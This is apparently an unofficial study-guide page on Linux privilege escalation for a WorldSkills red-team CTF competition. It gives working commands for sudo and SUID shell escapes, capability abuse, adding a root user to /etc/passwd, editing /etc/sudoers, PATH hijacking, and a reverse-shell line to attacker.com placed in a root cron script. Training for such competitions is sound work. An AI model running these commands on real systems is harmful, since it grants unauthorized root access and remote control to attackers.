Skip to content

What this is: Escalating from low-privileged user to root on Linux systems.

Competition relevance: Offensive operations (red team CTF). Essential post-exploitation skill.

Why it matters: Initial access is often limited user. Root access required for flags and full compromise.

WSOS 2026 alignment: Supports Section 6: Operations and management (privilege escalation).

Competition area: Core to the offensive operations area, exploiting misconfigurations to escalate privileges.

Offline competence: Use GTFOBins offline, man sudo, and local enumeration scripts. No network required.


LevelExpectation
RegionalExploit obvious sudo misconfig (sudo -l). Basic SUID binary abuse.
NationalSUID binaries with GTFOBins. Writable /etc/passwd. Cron job abuse.
Squad/Team SelectionLinux capabilities. Kernel exploits. Docker escapes.
InternationalAdvanced container breakouts. Custom exploit development.

Check sudo permissions:

Terminal window
sudo -l

Common misconfigurations:

Terminal window
# User can run ANY command as root
(ALL) ALL
# User can run specific command without password
(ALL) NOPASSWD: /usr/bin/vi
# Abuse it
sudo vi
:!sh # Escape to shell as root

GTFOBins for sudo:

Terminal window
# sudo find
sudo find . -exec /bin/sh \; -quit
# sudo awk
sudo awk 'BEGIN {system("/bin/sh")}'
# sudo python
sudo python -c 'import os; os.system("/bin/sh")'

Competition context: Always run sudo -l first. Check GTFOBins for exploitation methods.


Find SUID binaries:

Terminal window
find / -perm -4000 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Common vulnerable SUID binaries:

find:

Terminal window
find . -exec /bin/sh -p \; -quit

vim:

Terminal window
vim -c ':!sh'

nmap (old versions):

Terminal window
nmap --interactive
!sh

python:

Terminal window
python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Competition context: If custom SUID binary exists, check for buffer overflow or command injection.


Check capabilities:

Terminal window
getcap -r / 2>/dev/null

Exploit cap_setuid:

Terminal window
# If python has cap_setuid+ep
python -c 'import os; os.setuid(0); os.system("/bin/sh")'

/etc/passwd writable:

Terminal window
# Check if writable
ls -la /etc/passwd
# Generate password hash
openssl passwd -1 -salt salt password123
# Output: $1$salt$qd8...
# Add root user
echo 'hacker:$1$salt$qd8...:0:0:root:/root:/bin/bash' >> /etc/passwd
# Switch to new root user
su hacker

/etc/sudoers writable:

Terminal window
echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
sudo su

Check cron jobs:

Terminal window
crontab -l
ls -la /etc/cron.*
cat /etc/crontab

If script is writable and runs as root:

Terminal window
# Edit script to add reverse shell
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /path/to/script.sh
# Wait for cron execution

If script runs command without full path:

Terminal window
# Script runs: backup.sh (not /usr/bin/backup.sh)
# Create malicious backup.sh
echo '#!/bin/bash' > /tmp/backup.sh
echo '/bin/bash' >> /tmp/backup.sh
chmod +x /tmp/backup.sh
# Modify PATH
export PATH=/tmp:$PATH
# Trigger script execution

What gets marked:

  • Privilege escalation method identified
  • Root shell achieved
  • Flag from /root or restricted file
  • Write-up explaining technique

Evidence requirements:

  • Screenshot showing initial user (whoami, id)
  • Screenshot showing root shell (whoami, id)
  • Method used for escalation

Evidence and reporting requirements:

  • Screenshot showing initial user privileges (whoami, id, groups)
  • Screenshot showing root/sudo shell obtained (whoami, id showing uid=0)
  • Method used for escalation (sudo abuse, SUID binary, capability, writable file)
  • Command history or tool output showing escalation process
  • For SUID/capabilities: screenshot showing vulnerable binary (find command output)
  • For sudo: screenshot showing sudo -l output with exploitable entry
  • Written explanation of privilege escalation vector and impact
  • Clear file naming: linuxpriv_before_whoami.png, linuxpriv_root_shell.png, linuxpriv_sudo_exploit.png Time allocation:
  • Enumeration: 10 minutes
  • Finding vector: 10-15 minutes
  • Exploitation: 5-10 minutes

Enumeration checklist:

  1. sudo -l
  2. SUID binaries
  3. Writable /etc files
  4. Cron jobs
  5. Capabilities
  6. Kernel version (for exploits)

Time-boxed drill suggestion: 35-minute Linux privilege escalation sprint: Given a low-privileged Linux user account, enumerate system configuration (sudo -l, SUID binaries, capabilities, writable files in /etc), identify and exploit the most reliable privilege escalation vector using GTFOBins or manual techniques, obtain a root shell, and document all findings with before/after screenshots showing privilege escalation.



  • Can identify sudo misconfigurations
  • Can exploit SUID binaries using GTFOBins
  • Can abuse writable /etc/passwd
  • Can exploit cron jobs
  • Can perform PATH hijacking
  • Understand Linux capabilities abuse
  • Complete privesc in under 25 minutes

Primary references:

  • WSOS 2026: the sections this page supports are listed under Scope
  • Competition stage roadmap: See ../../00-roadmaps/ for module-specific guidance

Related topics in this knowledge base:

  • Cross-reference related topics as appropriate

External resources (for offline preparation):

  • Tool documentation: man pages, —help flags, /usr/share/doc
  • Maintain offline copies of key references and tool documentation

Unofficial study guide, not endorsed by WorldSkills International or WorldSkills UK. Topics are example areas to prepare for, not the content of any test project: competition tasks are confidential, competitions are closed book, and formats change between competitions. More about this site.